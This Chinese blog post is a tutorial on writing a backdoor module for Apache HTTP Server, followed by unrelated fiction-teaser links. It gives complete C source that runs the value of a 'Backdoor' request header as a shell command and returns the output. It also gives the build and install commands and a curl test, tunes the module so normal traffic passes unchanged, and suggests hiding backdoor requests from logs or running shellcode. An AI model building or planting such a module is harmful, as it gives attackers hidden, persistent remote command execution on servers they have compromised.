Apache HTTP Server 后门开发


参考文档 :

https://httpd.apache.org/docs/2.4/developer/modguide.html


需求分析 :
实现一个执行任意命令的功能
攻击者在目标服务器植入后门以后 , 一旦攻击者向服务器发送的HTTP请求存在 Backdoor 这个请求头 , Backdoor 这个请求头的值作为命令执行
例如 :

GET / HTTP/1.1
Host: localhost
Cookie: key=value
Backdoor: COMMAND

如果服务器接收到这个请求头, 那么执行 COMMAND 这个命令并将结果显示在响应体中


为了实现这个功能 , 我们需要了解以下的API

  • Apache扩展的结构
  • 获取一个HTTP请求所有请求头
  • 获取请求头的值
  • 执行系统命令并且获取结果

  1. 利用 apxs 生成一个扩展的基本模板结构
apxs -g -n backdoor
image.png
  1. 根据 Apache 的文档可以得知 :


    image.png

    所有的请求头位于 :

r->headers_in 这个结构体中

我们只需要遍历请求头就可以得知是否需要触发这个后门
每一个请求头是一个 apr_table_t 结构体的指针
我们再来查询一下这个结构体的实现 :

https://apr.apache.org/docs/apr/2.0/group__apr__tables.html#gad7ea82d6608a4a633fc3775694ab71e4
https://apr.apache.org/docs/apr/1.6/apr__tables_8h_source.html

image.png

官方文档中也给出了遍历请求头的实例代码


image.png

我们只需要检测这个 Backdoor 有没有出现在请求头中
如果出现则执行命令并输出即可

  1. 实现代码如下 :
/*
**  mod_backdoor.c -- Apache sample backdoor module
**  [Autogenerated via ``apxs -n backdoor -g'']
**
**  To play with this sample module first compile it into a
**  DSO file and install it into Apache's modules directory
**  by running:
**
**    $ apxs -c -i mod_backdoor.c
**
**  Then activate it in Apache's apache2.conf file for instance
**  for the URL /backdoor in as follows:
**
**    #   apache2.conf
**    LoadModule backdoor_module modules/mod_backdoor.so
**    <Location /backdoor>
**    SetHandler backdoor
**    </Location>
**
**  Then after restarting Apache via
**
**    $ apachectl restart
**
**  you immediately can request the URL /backdoor and watch for the
**  output of this module. This can be achieved for instance via:
**
**    $ lynx -mime_header http://localhost/backdoor
**
**  The output should be similar to the following one:
**
**    HTTP/1.1 200 OK
**    Date: Tue, 31 Mar 1998 14:42:22 GMT
**    Server: Apache/1.3.4 (Unix)
**    Connection: close
**    Content-Type: text/html
**
**    The sample page from mod_backdoor.c
*/

#include "httpd.h"
#include "http_config.h"
#include "http_protocol.h"
#include "ap_config.h"
#include <stdio.h>
#include <stdlib.h>

/* The sample content handler */
static int backdoor_handler(request_rec *r)
{
    /*
    if (strcmp(r->handler, "backdoor")) {
        return DECLINED;
    }
    r->content_type = "text/html";

    if (!r->header_only)
        ap_rputs("The sample page from mod_backdoor.c\n", r);
    */
    /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
    const apr_array_header_t    *fields;
    int                         i;
    apr_table_entry_t           *e = 0;
    char FLAG = 0;
    /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/

    fields = apr_table_elts(r->headers_in);
    e = (apr_table_entry_t *) fields->elts;

    for(i = 0; i < fields->nelts; i++) {
        if(strcmp(e[i].key, "Backdoor") == 0){
            FLAG = 1;
            break;
        }
    }

    if (FLAG){
        char * command = e[i].val;
        ap_rprintf(r, "Command: %s\n", command);
        ap_rprintf(r, "Result: \n", command);
        FILE* fp = popen(command,"r");
        char buffer[0x100] = {0};
        int counter = 1;
        while(counter){
            counter = fread(buffer, 1, sizeof(buffer), fp);
            ap_rwrite(buffer, counter, r);
        }
        pclose(fp);
    }
    return OK;
}

static void backdoor_register_hooks(apr_pool_t *p)
{
    ap_hook_handler(backdoor_handler, NULL, NULL, APR_HOOK_MIDDLE);
}

/* Dispatch list for API hooks */
module AP_MODULE_DECLARE_DATA backdoor_module = {
    STANDARD20_MODULE_STUFF,
    NULL,                  /* create per-dir    config structures */
    NULL,                  /* merge  per-dir    config structures */
    NULL,                  /* create per-server config structures */
    NULL,                  /* merge  per-server config structures */
    NULL,                  /* table of config file commands       */
    backdoor_register_hooks  /* register hooks                      */
};

然后即可使用命令 :

apxs -i -a -c mod_backdoor.c && service apache2 restart

来验证安装
验证效果如下 :

curl 'http://localhost/index.php' -H 'Backdoor: id'
image.png

但是这里存在一些问题 , 我们开发的这个 apache 的 module 会对每一个请求都生效
如果我们不添加 Backdoor 这个请求头 , 那么正常情况应该是就相当于没有这个模块 , 原本该怎么处理这个请求就怎么处理这个请求
但是 , 我们的假设似乎并没有成立
又去翻了翻 Apache 的文档 , 在网上也找了一些文章

参考文章 :

http://blog.csdn.net/ConeZXY/article/details/1897989
http://blog.csdn.net/ConeZXY/article/details/1898000
http://blog.csdn.net/ConeZXY/article/details/1898019
http://zjwyhll.blog.163.com/blog/static/7514978120126254222294/

http://www.apachetutor.org/dev/request

找到了一个解决方案是将函数 backdoor_handler 的返回值由 OK 修改为 DECLINED

image.png

如果返回 OK , 这个模块就会通知服务器 , 我们已经处理完成了这个请求 , 并且没有发生错误
如果返回 DONE , 这个模块就会通知服务器 , 我们已经处理完成了这个请求 , 并且已经不需要再进行后续的处理了
如果返回 DECLINED , 则表示这个模块不需要对这个请求进行处理 , 那么服务器就会继续对其进行默认的处理
可以参考图片 :

image.png

PS : 
感觉这种处理方式好像还是欠妥 , 但是也只能找到这种方法来先凑合一下使用了

这样我们就实现了对这个后门的编写
在此基础上我们也可以对这个后门进行扩展
例如 HOOK 住日志处理的过程, 让我们访问后门的日志不被记录等等
例如修改命令执行的逻辑, 直接改成 shellcode 跳转到 shellcode 去执行等等


代码 :

https://github.com/WangYihang/Apache_HTTP_Server_Module_Backdoor

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 157,373评论 4 361
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 66,732评论 1 290
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 107,163评论 0 238
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,700评论 0 202
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,036评论 3 286
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,425评论 1 211
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,737评论 2 310
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,421评论 0 194
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,141评论 1 239
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,398评论 2 243
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,908评论 1 257
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,276评论 2 251
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,907评论 3 233
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,018评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,772评论 0 192
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,448评论 2 269
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,325评论 2 261